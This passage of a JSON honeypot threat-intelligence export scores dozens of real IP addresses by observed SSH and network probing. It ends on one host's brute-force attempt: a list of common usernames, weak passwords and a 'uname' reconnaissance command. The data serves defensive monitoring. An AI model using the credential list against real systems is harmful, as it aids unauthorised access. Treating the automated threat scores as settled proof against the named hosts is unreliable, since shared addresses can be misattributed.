      "asn": 36903,
      "as_org": "MT-MPLS",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T11:45:26.175000+00:00",
        "last_seen_30d": "2026-05-06T11:46:46.660000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "109.123.111.89": {
      "attack_count": 2,
      "first_seen": "2026-05-21T08:55:43.502Z",
      "last_seen": "2026-05-21T08:55:43.780Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 13213,
      "as_org": "Thg Hosting Limited",
      "threat_score": 50.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.2,
        "persistence": 5.0,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 33,
        "days_active_30d": 6,
        "ports_targeted_30d": 13,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-21T08:55:43.502000+00:00",
        "last_seen_30d": "2026-05-26T07:40:22.523000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 18,
        "Honeytrap": 9,
        "Redishoneypot": 4,
        "Cowrie": 2
      }
    },
    "109.67.161.37": {
      "attack_count": 2,
      "first_seen": "2026-05-06T16:09:34.616Z",
      "last_seen": "2026-05-06T16:09:48.252Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Israel",
      "country_code": "IL",
      "city": "Tel Aviv",
      "asn": 6810,
      "as_org": "Bezeq- THE ISRAEL TELECOMMUNICATION CORP. LTD.",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T16:09:34.616000+00:00",
        "last_seen_30d": "2026-05-06T16:10:49.966000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "112.102.87.17": {
      "attack_count": 2,
      "first_seen": "2026-05-26T02:49:34.323Z",
      "last_seen": "2026-05-26T02:49:46.438Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T02:49:34.323000+00:00",
        "last_seen_30d": "2026-05-26T02:50:50.945000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "122.231.131.158": {
      "attack_count": 2,
      "first_seen": "2026-05-07T12:12:00.601Z",
      "last_seen": "2026-05-07T12:12:13.767Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T12:12:00.601000+00:00",
        "last_seen_30d": "2026-05-07T12:13:18.600000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "125.106.158.162": {
      "attack_count": 2,
      "first_seen": "2026-05-11T01:22:13.370Z",
      "last_seen": "2026-05-11T01:22:36.103Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T01:22:13.370000+00:00",
        "last_seen_30d": "2026-05-11T01:23:46.267000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "125.112.74.234": {
      "attack_count": 2,
      "first_seen": "2026-05-30T08:20:18.177Z",
      "last_seen": "2026-05-30T08:20:31.382Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Yiwu",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T08:20:18.177000+00:00",
        "last_seen_30d": "2026-05-30T08:21:32.638000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "128.201.41.9": {
      "attack_count": 2,
      "first_seen": "2026-05-05T21:08:00.353Z",
      "last_seen": "2026-05-05T21:08:12.999Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Serop\u00e9dica",
      "asn": 266651,
      "as_org": "R. M. TELECOM LTDA ME",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T21:08:00.353000+00:00",
        "last_seen_30d": "2026-05-05T21:09:14.364000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "138.121.113.106": {
      "attack_count": 2,
      "first_seen": "2026-05-08T10:26:38.107Z",
      "last_seen": "2026-05-08T10:26:51.271Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Laguna Blanca",
      "asn": 263791,
      "as_org": "REFSA TELECOMUNICACIONES",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T10:26:38.107000+00:00",
        "last_seen_30d": "2026-05-08T10:27:53.163000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "138.84.47.174": {
      "attack_count": 2,
      "first_seen": "2026-05-03T15:12:35.381Z",
      "last_seen": "2026-05-03T15:14:35.384Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Panama",
      "country_code": "PA",
      "city": "Panama City",
      "asn": 14593,
      "as_org": "Space Exploration Technologies Corporation",
      "threat_score": 2.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T15:12:35.381000+00:00",
        "last_seen_30d": "2026-05-03T15:25:35.872000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "138.94.203.189": {
      "attack_count": 2,
      "first_seen": "2026-05-07T03:56:58.299Z",
      "last_seen": "2026-05-07T03:57:32.160Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Novo Progresso",
      "asn": 264169,
      "as_org": "WNP INTERNET",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T03:56:58.299000+00:00",
        "last_seen_30d": "2026-05-07T03:58:38.452000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "144.124.193.33": {
      "attack_count": 2,
      "first_seen": "2026-05-10T10:38:46.421Z",
      "last_seen": "2026-05-10T10:38:59.714Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uzbekistan",
      "country_code": "UZ",
      "city": "Tashkent",
      "asn": 8193,
      "as_org": "Uzbektelekom Joint Stock Company",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T10:38:46.421000+00:00",
        "last_seen_30d": "2026-05-10T10:40:09.812000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "154.41.187.207": {
      "attack_count": 2,
      "first_seen": "2026-05-08T12:41:05.300Z",
      "last_seen": "2026-05-08T12:41:18.003Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": null,
      "asn": 269820,
      "as_org": "FULL DATA COMUNICACIONES C.A.",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T12:41:05.300000+00:00",
        "last_seen_30d": "2026-05-08T12:42:22.126000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "171.114.228.9": {
      "attack_count": 2,
      "first_seen": "2026-05-15T12:19:50.309Z",
      "last_seen": "2026-05-15T12:20:03.794Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T12:19:50.309000+00:00",
        "last_seen_30d": "2026-05-15T12:21:05.969000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "177.131.80.121": {
      "attack_count": 2,
      "first_seen": "2026-05-08T14:29:06.716Z",
      "last_seen": "2026-05-08T14:31:06.718Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Sumar\u00e9",
      "asn": 28649,
      "as_org": "Desktop Sigmanet Comunicacao Multimidia SA",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T14:29:06.716000+00:00",
        "last_seen_30d": "2026-05-08T14:41:07.436000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "182.240.240.46": {
      "attack_count": 2,
      "first_seen": "2026-05-21T13:31:09.473Z",
      "last_seen": "2026-05-21T13:31:22.577Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T13:31:09.473000+00:00",
        "last_seen_30d": "2026-05-21T13:32:35.286000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "186.22.13.25": {
      "attack_count": 2,
      "first_seen": "2026-05-05T14:31:20.962Z",
      "last_seen": "2026-05-05T14:31:34.141Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Lomas de Zamora",
      "asn": 27747,
      "as_org": "Telecentro S.A.",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T14:31:20.962000+00:00",
        "last_seen_30d": "2026-05-05T14:32:36.514000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "37.104.6.14": {
      "attack_count": 2,
      "first_seen": "2026-05-10T16:45:44.212Z",
      "last_seen": "2026-05-10T16:45:57.911Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Saudi Arabia",
      "country_code": "SA",
      "city": "Jeddah",
      "asn": 25019,
      "as_org": "Saudi Telecom Company JSC",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T16:45:44.212000+00:00",
        "last_seen_30d": "2026-05-10T16:47:05.681000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "38.43.203.166": {
      "attack_count": 2,
      "first_seen": "2026-05-02T01:39:17.168Z",
      "last_seen": "2026-05-02T01:39:29.958Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Maracaibo",
      "asn": 269820,
      "as_org": "FULL DATA COMUNICACIONES C.A.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T01:39:17.168000+00:00",
        "last_seen_30d": "2026-05-02T01:40:34.347000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "38.51.210.170": {
      "attack_count": 2,
      "first_seen": "2026-05-08T01:23:10.864Z",
      "last_seen": "2026-05-08T01:23:23.519Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Maracaibo",
      "asn": 269730,
      "as_org": "TECNOVEN SERVICES CA",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T01:23:10.864000+00:00",
        "last_seen_30d": "2026-05-08T01:24:29.667000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.82.58.9": {
      "attack_count": 2,
      "first_seen": "2026-05-21T07:34:36.993Z",
      "last_seen": "2026-05-21T07:36:36.995Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Senegal",
      "country_code": "SN",
      "city": "Dakar",
      "asn": 8346,
      "as_org": "SONATEL SONATEL-AS Autonomous System",
      "threat_score": 12.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T07:34:36.993000+00:00",
        "last_seen_30d": "2026-05-21T07:47:12.346000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "45.163.147.109": {
      "attack_count": 2,
      "first_seen": "2026-05-10T10:37:36.629Z",
      "last_seen": "2026-05-10T10:37:49.452Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Belo Horizonte",
      "asn": 268568,
      "as_org": "IMPLANTAR TELECOM SOCIEDADE LIMITADA",
      "threat_score": 7.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T10:37:36.629000+00:00",
        "last_seen_30d": "2026-05-12T16:36:56.217000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "46.35.130.70": {
      "attack_count": 2,
      "first_seen": "2026-05-09T19:58:00.844Z",
      "last_seen": "2026-05-09T19:58:13.757Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bosnia and Herzegovina",
      "country_code": "BA",
      "city": "Siroki Brijeg",
      "asn": 20875,
      "as_org": "JP HT d.d. Mostar",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T19:58:00.844000+00:00",
        "last_seen_30d": "2026-05-09T19:59:21.705000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "47.15.104.56": {
      "attack_count": 2,
      "first_seen": "2026-05-17T06:13:51.389Z",
      "last_seen": "2026-05-17T06:14:04.338Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Jaipur",
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T06:13:51.389000+00:00",
        "last_seen_30d": "2026-05-17T06:15:13.811000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "60.184.95.83": {
      "attack_count": 2,
      "first_seen": "2026-05-15T16:53:13.431Z",
      "last_seen": "2026-05-15T16:53:49.543Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T16:53:13.431000+00:00",
        "last_seen_30d": "2026-05-15T16:54:53.348000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "8.134.129.191": {
      "attack_count": 2,
      "first_seen": "2026-05-04T04:40:18.213Z",
      "last_seen": "2026-05-04T04:40:18.213Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T04:40:18.213000+00:00",
        "last_seen_30d": "2026-05-04T04:41:20.757000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "87.158.137.108": {
      "attack_count": 2,
      "first_seen": "2026-05-06T10:38:08.884Z",
      "last_seen": "2026-05-06T10:38:23.442Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Munich",
      "asn": 3320,
      "as_org": "Deutsche Telekom AG",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T10:38:08.884000+00:00",
        "last_seen_30d": "2026-05-06T10:39:31.695000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "98.113.202.203": {
      "attack_count": 2,
      "first_seen": "2026-05-09T08:48:19.860Z",
      "last_seen": "2026-05-09T08:48:33.195Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 701,
      "as_org": "Verizon Business",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T08:48:19.860000+00:00",
        "last_seen_30d": "2026-05-09T08:49:35.108000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "176.65.132.153": {
      "attack_count": 3706,
      "first_seen": "2026-05-03T17:15:51.173Z",
      "last_seen": "2026-05-03T18:35:22.412Z",
      "sessions": 742,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deploy",
        "ubuntu",
        "admin",
        "user",
        "ftpuser",
        "test",
        "deployer",
        "kafka",
        "minecraft",
        "odoo",
        "oracle",
        "student",
        "alex",
        "bot",
        "steam",
        "aaa",
        "ali",
        "debian",
        "frappe"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "password",
        "P@ssw0rd",
        "12345678",
        "1234",
        "12345",
        "p@ssw0rd",
        "1",
        "admin",
        "root",
        "111",
        "1111",
        "1qaz@WSX",
        "admin123",
        "1234567",
        "123root",
        "0000",
        "11",
        "123123123"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed",
